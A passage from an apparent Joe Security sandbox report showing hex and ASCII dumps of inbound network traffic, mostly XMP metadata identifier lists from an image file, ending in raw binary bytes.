i>xmp.did:33971c5f-5040-b94f-9a81-2ae9ec47c601<

2022-06-08 07:56:17 UTC 7603 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 34 34 30 43 42 32 31 35 32 30 36 
38 31 31 38 30 38 33 39 31 46 38 39 43 38 33 45 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 34 31 34 38 46 33 31 32 37 45 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 41 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 31 34 43 46 34 35 43 33 32 46 41 45 30 
31 31 41 39 35 37 39 45 31 33 39 43 36 45 37 36 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 34 31 34 61 64 32 34 31 2d 39 37 37 36 2d 37 39 34 31 2d 61 61 62 64 2d 32 34 64 66 37 32 63 38 63 32 
66 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: f:li> <rdf:li>xmp.did:41440CB215206811808391F89C83EA2B</rdf:li> <rdf:li>xmp.did:4148F3127E20681180
83C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:414CF45C32FAE011A9579E139C6E7696</rdf:li> <rdf:li>xmp.did:414ad241-
9776-7941-aabd-24df72c8c2f7</rdf:li> <rdf:li>xmp.d

2022-06-08 07:56:17 UTC 7619 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 33 32 34 44 38 44 30 41 32 30 36 
38 31 31 38 30 38 33 43 37 44 39 41 46 31 46 31 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 35 31 33 33 41 44 30 44 31 35 32 30 36 38 31 31 39 35 46 45 44 41 30 39 31 41 45 30 35 31 31 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 34 37 32 64 32 61 2d 39 31 61 63 2d 
34 33 64 62 2d 39 31 39 37 2d 31 66 35 63 33 32 36 32 31 37 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 35 31 34 42 34 41 46 42 39 35 32 35 45 32 31 31 41 36 41 32 38 37 35 34 41 31 41 32 36 36 
46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: f:li> <rdf:li>xmp.did:51324D8D0A2068118083C7D9AF1F1492</rdf:li> <rdf:li>xmp.did:5133AD0D1520681195
FEDA091AE05118</rdf:li> <rdf:li>xmp.did:51472d2a-91ac-43db-9197-1f5c32621753</rdf:li> <rdf:li>xmp.did:514B4AFB
9525E211A6A28754A1A266F3</rdf:li> <rdf:li>xmp.d

2022-06-08 07:56:17 UTC 7627 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 38 43 46 32 34 36 41 37 42 38 45 35 31 31 39 37 35 43 38 
37 37 41 34 38 42 35 37 39 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 
41 30 41 36 46 45 44 34 32 36 45 30 31 31 39 31 35 39 46 32 42 34 33 45 42 35 37 39 45 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 41 37 39 30 43 37 30 38 32 30 36 38 31 31 39 35 42 42 38 45 
32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 61 
30 34 64 38 38 2d 38 39 36 37 2d 34 38 38 36 2d 62 32 62 66 2d 64 38 63 66 63 62 64 36 32 39 31 37 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 65 65 38 
Data Ascii: df:li>xmp.did:578CF246A7B8E511975C877A48B579F3</rdf:li> <rdf:li>xmp.did:57A0A6FED426E011
9159F2B43EB579E0</rdf:li> <rdf:li>xmp.did:57A790C70820681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:57a04d88-
8967-4886-b2bf-d8cfcbd62917</rdf:li> <rdf:li>xmp.did:57ee8
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2022-06-08 07:56:17 UTC 7643 IN Data Raw: 38 31 41 42 36 34 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 
37 31 37 37 38 61 31 2d 38 32 34 33 2d 34 30 32 64 2d 39 35 30 39 2d 30 39 32 38 32 65 35 31 38 35 33 65 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 33 36 37 32 33 43 34 44 37 35 31 31 45 30 38 
42 35 35 39 37 36 44 38 35 33 30 35 34 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 36 37 35 33 39 41 34 31 35 39 42 39 44 44 31 31 39 38 38 35 38 31 33 31 38 46 31 37 38 43 34 41 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 35 38 41 39 31 45 36 46 32 31 36 38 31 31 41 37 
42 41 46 38 45 44 34 30 46 44 38 41 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 81AB64C82</rdf:li> <rdf:li>xmp.did:671778a1-8243-402d-9509-09282e51853e</rdf:li> <rdf:li>xmp.did:6
736723C4D7511E08B55976D85305432</rdf:li> <rdf:li>xmp.did:67539A4159B9DD11988581318F178C4A</rdf:li> <
rdf:li>xmp.did:6758A91E6F216811A7BAF8ED40FD8AA9</rdf:li> 

2022-06-08 07:56:17 UTC 7659 IN Data Raw: 35 38 39 61 36 35 61 2d 30 31 31 38 2d 66 65 34 38 2d 39 30 62 65 2d 30 36 33 63 63 65 32 36 61 63 36 31 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 31 38 46 36 44 44 36 37 44 31 
31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 37 35 43 31 38 46 37 31 44 36 37 44 31 31 45 30 42 30 43 34 45 32 44 30 42 35 43 33 30 41 44 34 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 35 43 42 33 33 30 30 45 33 32 30 36 38 
31 31 38 34 44 35 44 39 44 37 38 32 41 39 44 37 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 37 35 44 32 41 42 33 46 31 33 32 30 36 38 31 31 38 30 38 33 
Data Ascii: 589a65a-0118-fe48-90be-063cce26ac61</rdf:li> <rdf:li>xmp.did:75C18F6DD67D11E0B0C4E2D0B5C
30AD4</rdf:li> <rdf:li>xmp.did:75C18F71D67D11E0B0C4E2D0B5C30AD4</rdf:li> <rdf:li>xmp.did:75CB3300E32
0681184D5D9D782A9D74C</rdf:li> <rdf:li>xmp.did:75D2AB3F132068118083

2022-06-08 07:56:17 UTC 7666 IN Data Raw: 36 43 42 45 35 35 31 41 45 34 38 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 37 45 34 37 37 44 33 46 39 39 32 30 36 38 31 31 41 32 45 33 43 46 34 39 45 35 34 42 38 38 39 34 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 45 39 41 42 34 31 46 32 30 36 38 31 31 45 30 39 
39 31 41 41 44 44 32 32 33 43 33 31 30 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 37 45 39 44 33 41 38 34 43 46 32 33 36 38 31 31 39 35 46 45 41 32 35 42 42 30 46 43 43 38 45 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 45 43 45 35 46 41 39 30 39 32 30 36 38 31 31 38 41 
36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 6CBE551AE4843</rdf:li> <rdf:li>xmp.did:7E477D3F99206811A2E3CF49E54B8894</rdf:li> <rdf:li>xmp.did:7
E9AB41F206811E0991AADD223C31085</rdf:li> <rdf:li>xmp.did:7E9D3A84CF23681195FEA25BB0FCC8E8</rdf:li> <
rdf:li>xmp.did:7ECE5FA9092068118A6DC638F9FC95EE</rdf:li> 

2022-06-08 07:56:17 UTC 7682 IN Data Raw: 31 42 31 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 41 32 30 
31 33 35 45 36 42 46 45 35 31 31 38 36 44 45 38 34 43 31 43 46 32 46 30 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 45 37 39 46 31 42 45 32 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 
37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 46 33 37 31 3
4 33 39 38 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 
45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: 1B1A1</rdf:li> <rdf:li>xmp.did:8BA20135E6BFE51186DE84C1CF2F0F42</rdf:li> <rdf:li>xmp.did:8BE79F1BE
22768118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:8BF3714398226811822A9E418F455C5D</rdf:li> <rdf:li>x
mp.did:8BF877B80720681192B0E90D048EA72C</rdf:li> <rdf:li>

2022-06-08 07:56:17 UTC 7698 IN Data Raw: 64 3a 39 38 44 31 32 34 34 37 37 45 32 31 36 38 31 31 38 37 31 46 39 46 46 39 43 36 34 33 38 31 43 34 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 44 45 37 44 42 46 41 31 32 32 36 38 31 
31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 39 38 62 39 34 37 34 35 2d 32 63 36 31 2d 34 35 30 34 2d 61 65 39 63 2d 30 36 36 39 36 37 65 30 34 61 34 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 63 63 34 37 65 64 2d 32 32 33 
63 2d 37 64 34 61 2d 38 30 65 35 2d 33 35 33 66 62 33 31 63 34 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 30 33 61 32 36 38 2d 61 38 61 64 
Data Ascii: d:98D124477E216811871F9FF9C64381C4</rdf:li> <rdf:li>xmp.did:98DE7DBFA1226811822A9E418F45
5C5D</rdf:li> <rdf:li>xmp.did:98b94745-2c61-4504-ae9c-066967e04a47</rdf:li> <rdf:li>xmp.did:98cc47ed-223c-7d4a-
80e5-353fb31c4686</rdf:li> <rdf:li>xmp.did:9903a268-a8ad

2022-06-08 07:56:17 UTC 7706 IN Data Raw: 64 69 64 3a 41 30 45 43 33 32 39 31 41 41 32 35 36 38 31 31 39 37 41 35 46 43 37 42 34 41 33 32 36 34 42 
35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 31 30 36 42 38 30 43 36 42 32 30 
36 38 31 31 41 45 35 36 43 45 32 37 33 42 35 37 42 33 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 41 31 30 38 35 41 38 45 43 33 32 30 36 38 31 31 42 45 33 33 45 44 33 44 43 44 31 32 32 39 38 36 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 31 30 42 35 34 37 35 32 32 38 41 31 
31 45 30 39 45 39 37 42 33 43 34 31 37 32 33 37 37 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 41 31 30 42 35 34 37 39 32 32 38 41 31 31 45 30 39 45 39 
Data Ascii: did:A0EC3291AA25681197A5FC7B4A3264B5</rdf:li> <rdf:li>xmp.did:A106B80C6B206811AE56CE273B
57B30C</rdf:li> <rdf:li>xmp.did:A1085A8EC3206811BE33ED3DCD122986</rdf:li> <rdf:li>xmp.did:A10B547522
8A11E09E97B3C417237787</rdf:li> <rdf:li>xmp.did:A10B5479228A11E09E9

2022-06-08 07:56:17 UTC 7722 IN Data Raw: 42 38 38 39 35 37 39 31 35 34 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 42 38 38 38 38 39 30 41 41 42 38 45 45 30 31 31 41 44 33 46 46 37 36 44 30 42 41 43 39 44 43 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 38 46 45 30 44 38 43 36 46 31 44 46 31 31 39 37 
31 42 38 39 34 31 30 33 36 31 36 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 42 38 41 30 34 46 35 34 32 31 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 42 38 31 38 42 46 30 46 32 30 36 38 31 31 38 41 36 44 
46 36 42 33 36 41 33 44 44 38 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: B8895791540D</rdf:li> <rdf:li>xmp.did:B888890AAB8EE011AD3FF76D0BAC9DC8</rdf:li> <rdf:li>xmp.did:B8
8FE0D8C6F1DF11971B894103616323</rdf:li> <rdf:li>xmp.did:B8A04F542120681183D1AF7A00F36933</rdf:li> <r
df:li>xmp.did:B8B818BF0F2068118A6DF6B36A3DD8DE</rdf:li> <

2022-06-08 07:56:17 UTC 7738 IN Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 43 46 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 35 34 36 46 42 35 42 31 
34 35 41 35 37 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 39 34 30 37 
42 44 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 41 39 38 35 39 30 31 37 32 30 36 38 31 31 38 41 36 44 42 39 31 46 45 43 
35 41 35 39 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 45 41 36 42 42 
46 30 45 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 30 42 34 41 30 44 39 36 32 32 36 
Data Ascii: i>xmp.did:CF7F117407206811B546FB5B145A57BC</rdf:li> <rdf:li>xmp.did:CF9407BD0A2068118083
BFD9A9F81730</rdf:li> <rdf:li>xmp.did:CFA98590172068118A6DB91FEC5A59F5</rdf:li> <rdf:li>xmp.did:CFEA
6BBF0E2068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:D00B4A0D96226

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 175 of 211



2022-06-08 07:56:17 UTC 7742 IN Data Raw: 2e 64 69 64 3a 44 34 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 
38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 35 41 35 36 41 45 30 33 36 
34 45 31 31 31 41 37 38 38 46 38 36 46 36 41 38 42 39 44 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 44 34 35 44 36 30 36 31 44 43 44 36 44 46 31 31 41 46 34 46 41 37 42 43 31 37 39 38 37 39 33 
31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 36 46 33 46 38 42 32 31 32 30 
36 38 31 31 39 37 41 35 42 34 45 37 41 37 35 34 39 35 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 44 34 37 34 35 46 30 31 44 38 31 42 45 33 31 31 42 37 
Data Ascii: .did:D45434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D45A56AE0364E111A788F86F6
A8B9DDD</rdf:li> <rdf:li>xmp.did:D45D6061DCD6DF11AF4FA7BC17987931</rdf:li> <rdf:li>xmp.did:D46F3F8B2
120681197A5B4E7A75495C2</rdf:li> <rdf:li>xmp.did:D4745F01D81BE311B7

2022-06-08 07:56:17 UTC 7758 IN Data Raw: 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 
41 33 32 32 32 33 32 38 41 33 30 45 34 31 31 42 44 35 31 45 34 35 34 39 46 33 38 35 45 39 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 41 33 36 35 45 34 39 35 42 46 42 31 31 45 31 42 41 36 39 39 
45 45 46 39 32 44 30 34 30 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 41 3
5 32 39 33 39 36 38 46 39 45 31 31 45 30 41 41 44 32 46 30 43 36 45 39 35 34 41 41 34 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 41 36 30 31 34 32 31 35 44 46 33 45 30 31 31 39 45 30 45 38 45 
36 37 30 38 32 31 31 37 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: D99A676D6</rdf:li> <rdf:li>xmp.did:EA3222328A30E411BD51E4549F385E9B</rdf:li> <rdf:li>xmp.did:EA365
E495BFB11E1BA699EEF92D04091</rdf:li> <rdf:li>xmp.did:EA5293968F9E11E0AAD2F0C6E954AA45</rdf:li> <rdf:
li>xmp.did:EA6014215DF3E0119E0E8E6708211705</rdf:li> <rdf

2022-06-08 07:56:17 UTC 7774 IN Data Raw: 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 
30 37 32 30 36 38 31 31 38 32 32 41 41 38 35 38 32 46 39 41 38 33 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 41 43 37 35 38 46 30 32 
45 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 3
7 32 30 36 38 31 31 38 32 32 41 44 36 38 43 30 34 37 39 37 31 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 45 32 35 45 32 36 37 46 38 30 
46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: A7</rdf:li> <rdf:li>xmp.did:F87F117407206811822AA8582F9A83FD</rdf:li> <rdf:li>xmp.did:F87F11740720
6811822AAC758F02E96F</rdf:li> <rdf:li>xmp.did:F87F117407206811822AD68C047971A8</rdf:li> <rdf:li>xmp.
did:F87F117407206811822AE25E267F80F3</rdf:li> <rdf:li>xmp

2022-06-08 07:56:17 UTC 7782 IN Data Raw: 31 39 41 34 44 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 
46 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 39 30 32 45 34 46 35 41 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 43 39 33 
36 32 35 42 35 43 30 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 3
1 31 37 34 30 37 32 30 36 38 31 31 39 41 38 32 46 36 43 44 34 33 30 41 30 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 31 37 35 42 44 38 37 39 
41 39 42 45 32 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: 19A4DC5</rdf:li> <rdf:li>xmp.did:FB7F1174072068119109E902E4F5A522</rdf:li> <rdf:li>xmp.did:FB7F117
40720681192B0C93625B5C027</rdf:li> <rdf:li>xmp.did:FB7F1174072068119A82F6CD430A0319</rdf:li> <rdf:li
>xmp.did:FB7F117407206811A175BD879A9BE214</rdf:li> <rdf:l

2022-06-08 07:56:17 UTC 7798 IN Data Raw: 61 66 38 64 63 39 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 61 
34 31 35 35 61 2d 35 34 61 32 2d 34 64 35 62 2d 62 63 36 33 2d 30 34 37 37 33 64 38 33 65 61 34 36 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 64 39 37 62 39 32 2d 30 37 37 30 2d 34 31 64 36 2d 
39 30 30 61 2d 33 35 62 32 63 39 64 30 37 63 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 62 61 65 39 65 33 64 35 2d 34 62 61 31 2d 34 39 66 63 2d 39 33 37 33 2d 34 62 66 31 36 37 37 63 30 36 37 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 61 66 63 33 63 37 35 2d 31 30 34 
32 2d 34 38 34 36 2d 38 37 33 34 2d 61 34 31 36 63 32 36 61 63 30 33 34 
Data Ascii: af8dc9a</rdf:li> <rdf:li>xmp.did:baa4155a-54a2-4d5b-bc63-04773d83ea46</rdf:li> <rdf:li>xmp.did:bad97b92-
0770-41d6-900a-35b2c9d07c27</rdf:li> <rdf:li>xmp.did:bae9e3d5-4ba1-49fc-9373-4bf1677c0673</rdf:li> <rdf:li>xmp.did
:bafc3c75-1042-4846-8734-a416c26ac034

2022-06-08 07:56:17 UTC 7814 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 63 65 36 30 33 37 64 2d 65 65 37 34 2d 34 35 62 30 
2d 38 30 37 30 2d 61 65 66 64 34 31 62 30 64 36 62 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 65 64 35 30 65 61 35 31 2d 36 33 63 39 2d 62 34 34 64 2d 62 64 37 64 2d 66 35 35 64 63 65 34 31 35 31 
36 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 64 39 39 39 32 63 36 2d 30 33 
37 33 2d 63 31 34 65 2d 61 66 30 30 2d 32 31 30 39 34 30 33 61 31 39 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 64 66 64 32 64 37 39 2d 30 64 39 32 2d 34 61 32 63 2d 39 34 30 65 2d 32 65 38 
64 31 33 31 30 61 38 32 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii:  <rdf:li>xmp.did:ece6037d-ee74-45b0-8070-aefd41b0d6b3</rdf:li> <rdf:li>xmp.did:ed50ea51-63c9-b44d-bd7d-
f55dce41516b</rdf:li> <rdf:li>xmp.did:ed9992c6-0373-c14e-af00-2109403a19c3</rdf:li> <rdf:li>xmp.did:edfd2d79-0d92-4
a2c-940e-2e8d1310a82f</rdf:li> <rdf:l

2022-06-08 07:56:17 UTC 7822 IN Data Raw: 6d 8c 8b 93 36 15 51 1a c2 44 24 08 40 21 b3 25 52 a4 68 94 2a 94 32 84 d0 40 a8 42 1a 00 08 48 15 00 20 
69 34 19 0c 91 0a 12 35 10 9a 40 03 20 4a d4 30 94 89 d1 08 63 08 2d 81 22 50 20 4d 88 02 00 02 00 08 08 55 40 a7 e2 
89 a4 35 82 89 d1 ac 24 02 54 dd ac 7d 02 85 48 82 14 34 ea 21 64 d1 10 10 81 91 4e 10 e0 86 44 14 22 a5 62 b1 f2 90 
52 47 a8 46 58 50 a8 43 32 ae 8c 86 d3 22 45 44 54 54 88 42 43 44 42 0a 15 48 11 ca 07 28 42 20 22 10 e1 08 20 10 07 
a8 00 45 62 46 a1 42 da 84 11 0a 80 42 0b 80 8e 10 04 10 04 40 08 82 11 a0 47 28 10 00 88 01 10 d1 e0 54 89 48 11 a8 
44 a8 02 03 99 50 a9 43 28 4d 24 48 84 d1 50 34 48 95 00 40 61 22 44 25 02 44 88 0a 91 00 0a 94 32 84 20 34 80 a9 42 
06 83 00 42 0b 4d 44 89 4c 88 0d 06 4a a8 0c a1 a3 50 0e 50 00 ab 51 00 42 
Data Ascii: m6QD$@!%Rh*2@BH i45@ J0c-"P MU@5$T}H4!dND"bRGFXPC2"EDTTBCDBH(B " EbFBB@G(THDPC
(M$HP4H@a"D%D2 4BBMDLJPPQB

2022-06-08 07:56:17 UTC 7838 IN Data Raw: e1 db d6 b6 ad d9 9c 93 56 6e 96 b3 99 5d 57 9b d1 b5 c3 7e 63 f4 bc bb 31 65 61 ac 6c 3a 7c 73 db c6 35 b7 
d2 5d 5e 5f a2 be bb 72 dc f1 f5 87 9b ca 79 4d cd 5c e4 b1 8b 3e e4 13 35 33 5b 35 56 63 2b 32 5d 6c 5c e5 eb 74 f3 6d 
66 40 95 34 8e 66 79 ba b7 1d a7 f4 cf 88 c4 8e a4 47 8d 41 63 d4 22 1f 2b 51 0d 1a 49 4e b1 2c 6c aa 72 4c 89 5f 42 c6 
4c c9 6b c9 51 eb 5d 92 cb ca 66 1e 37 ce 73 bc fe 26 2f 3b 4b 1b 83 3b 64 83 35 f9 e9 3c db 6c 37 13 d1 d7 39 12 76 99 
71 04 8b 3d 1c b2 cb 2c b3 63 a8 48 6f 01 0c b0 ab 89 27 46 30 a4 63 26 55 3a 36 1c eb 1a c3 39 a9 b9 f3 da a4 91 c3 
a7 66 b2 e9 a7 cd 36 66 16 43 32 63 a2 9b 29 13 06 69 e0 d6 26 a9 6e 61 bc ac b7 62 e9 c8 f4 4d 4a d4 2b 03 3a 39 dd 
16 65 cf a3 52 5c 5d 70 bb ad 74 9d a7 ab fa 79 f7 9c 7a 71 9d 
